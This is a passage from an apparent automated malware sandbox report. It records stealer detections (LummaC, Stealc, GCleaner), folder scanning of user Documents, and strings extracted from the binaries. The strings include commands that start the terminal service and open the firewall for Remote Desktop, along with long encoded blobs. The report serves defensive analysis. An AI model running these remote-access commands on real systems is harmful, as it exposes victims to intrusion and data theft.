Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ

Source: Yara match	File source: 00000016.00000003.3153710799.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3152931789.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2399025897.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2399139972.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2390014961.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3147736965.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3152931789.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3147736965.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2247542901.0000000001714000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3596397104.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2248345154.0000000001714000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3147512947.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3147512947.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3673843677.0000000001201000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2362640058.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3598089339.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3153710799.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3567886472.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3633145767.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3631488432.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4bcefcec83.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4bcefcec83.exe PID: 8012, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 3353aa7d43.exe PID: 8132, type: MEMORYSTR

Yara detected GCleaner

Source: Yara match	File source: 13.2.BitLockerToGo.exe.700000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.c2f48edf32.exe.de98000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.c2f48edf32.exe.dec4000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.c2f48edf32.exe.de00000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.c2f48edf32.exe.def0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.c2f48edf32.exe.df1c000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1345225664.000000000DE98000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1345225664.000000000DEF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1345225664.000000000DE00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1345225664.000000000DEC4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1345225664.000000000DF1C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1650876424.0000000000701000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1336137578.000000000DC4C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 4bcefcec83.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4bcefcec83.exe PID: 8012, type: MEMORYSTR
Source: Yara match	File source: 15.2.5a20da7e37.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.5a20da7e37.exe.3859550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.5a20da7e37.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.4bcefcec83.exe.3a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.4bcefcec83.exe.3a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2453248981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1341218856.0000000000E61000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1698267306.0000000003859000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000015.00000003.1468184822.0000000004B80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.1638611281.0000000000DB1000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.1597360565.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1509062619.0000000000DB1000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2009d9de82.exe PID: 7884, type: MEMORYSTR

Contains functionality to start a terminal service

Source: AaxpYFDQ32.exe	String found in binary or memory: net start termservice
Source: AaxpYFDQ32.exe, 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: net start termservice
Source: AaxpYFDQ32.exe, 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: AaxpYFDQ32.exe, 00000000.00000003.939040305.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: AaxpYFDQ32.exe, 00000000.00000003.939040305.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000001.00000003.977723439.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000001.00000003.977723439.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe, 00000001.00000002.1018115850.0000000000571000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000001.00000002.1018115850.0000000000571000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000002.00000003.981792054.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000002.00000003.981792054.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM 